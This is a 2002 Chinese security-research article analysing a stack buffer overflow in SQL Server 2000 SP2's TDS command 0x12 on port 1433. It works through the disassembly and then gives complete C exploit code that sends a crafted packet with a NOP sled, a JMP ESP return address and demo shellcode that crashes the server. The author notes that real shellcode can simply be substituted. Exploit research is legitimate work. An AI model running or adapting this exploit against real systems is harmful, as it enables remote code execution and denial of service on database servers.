首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第36期->安全文摘
期刊号: 类型: 关键词:
SQL SERVER 2000 SP2 12命令的溢出攻击实现

作者:flashsky
主页:http://www.xfocus.net
日期:2002-11-01

注意:转载请注明作者和安全焦点
第一次玩溢出研究,请高手指正

自上次被isno指教了一翻,这几天开始用汇编看sql server的代码,发现SQL SERVER的1433 TDS协议中,0X12号命令(请求验证)存在一个溢出问题,在传送最后的MSSQLSERVER后面跟上572个以上的字节会导致溢出,心里一喜,但吸取上次教训,一查,发现8月12这个漏洞已经被公告。哎
但是一看,公告代码只指出溢出,但是未实现溢出,仔细一看,要实现这个溢出还是很麻烦的,涉及到很多问题:

下面是汇编代码分析:
前面接受信息的大致流程:
请求
text:004DE099                 call    sub_410E22
    .text:00410ED3                 call    dword ptr [eax+14h]
    调用ssnetlib的获取异步socket到来的信息
        42CF42F2:连接并接收信息
    .text:00410ED6                 add     esp, 18h

处理数据:
42cf719e处调用,下个返回地址应该是42cf71a3,溢出就是要覆盖这个返回地址
溢出产生在:42cf72cf处的strcpy上
但是其中问题存在于:strcpy拷贝的地址离42cf71a3的地址有572个字节,其中存在很多其他变量的指针,如果随便覆盖掉的话,在这个子过程中会继续引用他们,那么就引起访问违例,直接被异常给捕获了,而无法达到执行代码的目的,而其其过程是一个循环执行过程,会导致很复杂的计算。
涉及到的需要继续引用覆盖地址值的代码有:
.text:42CF73D9                 mov     edx, [ebp+var_4]
.text:42CF73DC                 add     edx, 5
.text:42CF73DF                 mov     [ebp+var_4], edx
.text:42CF7263                 mov     edx, [ebp+arg_4]
.text:42CF7266                 add     edx, [ebp+var_4]
.text:42CF7269                 xor     eax, eax
.text:42CF726B                 mov     al, [edx]
.text:42CF726D                 mov     [ebp+var_14], eax
.text:42CF7270                 mov     ecx, [ebp+arg_4]
.text:42CF7320                 mov     [ebp+var_224], ecx
.text:42CF7326                 mov     edx, [ebp+arg_0]
.text:42CF7329                 mov     eax, [ebp+var_224]
.text:42CF732F                 mov     ecx, [eax]

可以发现以上值主要是涉及到
要覆盖地址-8
要覆盖地址+4
要覆盖地址+8
要覆盖地址+C
要覆盖地址+10
要覆盖地址+14
这几个地址上,而且主要是写操作
并且要覆盖地址-4会和要覆盖地址+4会进行一次加操作,其操作的地址范围也应该为可读写。
因此很容易想到,用SQL SERVER固定分配的某个数据区的地址取带该区就不会引起异常了。而要覆盖地址-4最好为0xffffffff左右的值,其他地址加上这个值也在一个数据区范围以内,问题就不大要覆盖地址+4,要覆盖地址+8,要覆盖地址+C,要覆盖地址+10,要覆盖地址+14的值要仔细选取,因为JMP ESP跳回来以后正好在从要覆盖地址+4处开始执行,需要其汇编代码不能引起异常和跳转到其他地方去,否则就无法执行我们真正能实现的shellcode了。
另外就是如果shellcode全部放在要覆盖地址+18后执行也有问题,其中可能在同一个过程中会用到其中的值,因此把shellcode最好放在前面,在覆盖地址+18后用少量的代码跳转回去,避免大量覆盖引起异常。
另外就是jmp esp代码的选择,其实不同服务器版本地址不同,但是我想在SQL SERVER代码本身中找更好。只要存在一个ffe4数字就可,不管是不是真的jmp esp代码,这样shellcode可以更简单,也更通用一些,仔细一看,sql server中还真有这个组合,位置在42B0C9DC处。OK,那么主要问题就搞定了
我的环境是:sql server 2000+sp2+最新的补掉sql server udp漏洞的q36几几的。
下面是演示代码,其中没有实现真正的shellcode,而是实现了打印了一行sql hack demo,并且当掉了SQL SERVER服务器,其实只要把其中代码置换成shellcode就可以了,当然需要考虑大小问题,如果放在后面可以不考虑大小,但是可能会引起一些异常,我没仔细调试,放在前面许可的长度大概有500多字节左右,做SHELLCODE也应该足够了。
大家在cmd下运行sqlsvrer可以看到打印出的sql hack demo字符,并且SQL 当掉,如果是服务或管理工具启动,则无法打印sql hack demo,但SQL会当掉,注意此处当掉不是因为异常,而是执行了shellcode的exit导致的。
#include <process.h>
#include <string.h>
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <winbase.h>

int main(int argc, char* argv[])
{
    WSADATA WSAData;
    SOCKET sock;
    SOCKADDR_IN addr_in;
    unsigned char buf0[48+572]={
        0x12,1,0,0x34,0,0,0,0,0,0,0x15,0,6,1,0,0x1b,
        0,1,2,0,0x1c,0,0xc,3,0,0x28,0,4,0xff,8,0,2,
        0x10,0,0,0,0x4d,0x53,0x53,0x51,0x4c,0x53,0x65,0x72,0x76,0x65,0x72,1,0x10,4,1,1};

    unsigned char buf1[255]={10,9,8,7,6,5,4,3,2,1,0};
    char exploit_code[21]= "\x83\xc4\x81\x8b\xc4\x50\xff\x15\xf8\xe0\xcf\x42"
    "\x33\xc0\x50\xff\x15\x84\xe0\xcf\x42";
//这个是打印"sql hack demo"并退出sql server的shellcode代码
    int i;
    int len;
    const int SNDBUF = 0;
    const int TCPNODELAY = TRUE;
    const int BROADCAST = TRUE;
    int fo=572;    //需要覆盖的返回地址偏移处
    if (argc<2)
    {
        return FALSE;
    }
    for(i=0x34;i<584;i++)
        buf0[i]=0x90;        
//示范打印的字符串
    buf0[0x34+0x10]='s';
    buf0[0x34+0x11]='q';
    buf0[0x34+0x12]='l';
    buf0[0x34+0x13]=' ';
    buf0[0x34+0x14]='h';
    buf0[0x34+0x15]='a';
    buf0[0x34+0x16]='c';
    buf0[0x34+0x17]='k';
    buf0[0x34+0x18]=' ';
    buf0[0x34+0x19]='d';
    buf0[0x34+0x1a]='e';
    buf0[0x34+0x1b]='m';
    buf0[0x34+0x1c]='o';
    buf0[0x34+0x1d]='\n';

//防止数据改动引起异常而退出而无法实现有效溢出,因此进行有效修改
    buf0[fo-0x8]=0xff;
    buf0[fo-0x7]=0xff;
    buf0[fo-0x6]=0xff;
    buf0[fo-0x5]=0xff;
    //42D01CFC    为SQL SERVER固定的数据区域,且其汇编代码不引起问题
    buf0[fo+4]=0xfc;
    buf0[fo+5]=0x1c;
    buf0[fo+6]=0xd0;
    buf0[fo+7]=0x42;
    //42d01c72   为固定的数据区域才能可写
    buf0[fo+8]=0x64;
    buf0[fo+9]=0x0d;
    buf0[fo+0xa]=0xd0;
    buf0[fo+0xb]=0x42;    
    //42D01CFC    为固定的数据区域才能可写
    buf0[fo+0xc]=0xfc;
    buf0[fo+0xd]=0x1c;
    buf0[fo+0xe]=0xd0;
    buf0[fo+0xf]=0x42;
    //42d01c72   为固定的数据区域才能可写
    buf0[fo+0x10]=0x64;
    buf0[fo+0x11]=0x0d;
    buf0[fo+0x12]=0xd0;
    buf0[fo+0x13]=0x42;    
    //42d01c72   为固定的数据区域才能可写
    buf0[fo+0x14]=0x64;
    buf0[fo+0x15]=0x0d;
    buf0[fo+0x16]=0xd0;
    buf0[fo+0x17]=0x42;    
    //在溢出了返回地址后,由于其中的N个代码需要返回后跳转、而此处由在子函数中需要处理,因此寻找一个数据地址放入,同时使得其汇编代码不引起访问异常。

    //然后下面的几个地址是在此过程中不需要使用的,因此可以大胆修改成我们需要的汇编代码了
    //写入跳回去的代码buf0[fo+0xc]=0x42;
    buf0[fo+0x18]=0x81;
    //ADD ESP,0XFFFFFF92
    buf0[fo+0x19]=0x83;
    buf0[fo+0x1a]=0xc4;  
    buf0[fo+0x1b]=0x81;
    //ADD ESP,0XFFFFFF92
    buf0[fo+0x1C]=0x83;
    buf0[fo+0x1D]=0xc4;  
    buf0[fo+0x1E]=0x81;
    //ADD ESP,0XFFFFFF92
    buf0[fo+0x1f]=0x83;
    buf0[fo+0x20]=0xc4;  
    buf0[fo+0x21]=0x81;
    //JMP ESP
    buf0[fo+0x22]=0xff;
    buf0[fo+0x23]=0xe4;
    //以上代码在溢出返回后执行,由于主要的shellcode防在前面,需要跳转回去
    //不直接放在后面的原因在于:覆盖了后面的一些变量,会导致提前出现地址访问异常,导致无法达到执行我们想要代码的目的

    memcpy(buf0+fo-8-364,exploit_code,21);
    //拷贝SHELLCODE

    //FFE4=JMP ESP
         //设置溢出地址的值,42B0C9DC是SQL SERVER本身代码有的FFE4地方
    buf0[fo]=0xDC;
    buf0[fo+1]=0xC9;
    buf0[fo+2]=0xB0;
    buf0[fo+3]=0x42;
    //需要找到JMP ESP的代码,然而这个是随版本变化的,所以干脆在SQL SERVER程序中找,只要组合成这个就可

    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        printf("WSAStartup error.Error:%d\n",WSAGetLastError());
        return FALSE;
    }
    if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
    {
        printf("Socket failed.Error:%d\n",WSAGetLastError());
        return FALSE;
    }

    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(1433);
    addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
    buf0[1]=1;
    if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
    {
        printf("Connect failed.Error:%d",WSAGetLastError());
        return FALSE;
    }
    if (send(sock, buf0, sizeof(buf0), 0)==SOCKET_ERROR)
    {
        printf("Send failed.Error:%d\n",WSAGetLastError());
        return FALSE;
    }

    len=recv(sock,buf1,255,NULL);
    for(i=0;i<len;i++)
    {
        printf("%02x ",buf1[i]);
        if(i%16==15)
            printf("\n");
    }
    printf("\n");
    buf0[0]=0x10;
    if (send(sock, buf0, sizeof(buf0), 0)==SOCKET_ERROR)
    {
        printf("Send failed.Error:%d\n",WSAGetLastError());
        return FALSE;
    }
    WSACleanup();
    return 0;

}
版权所有,未经许可,不得转载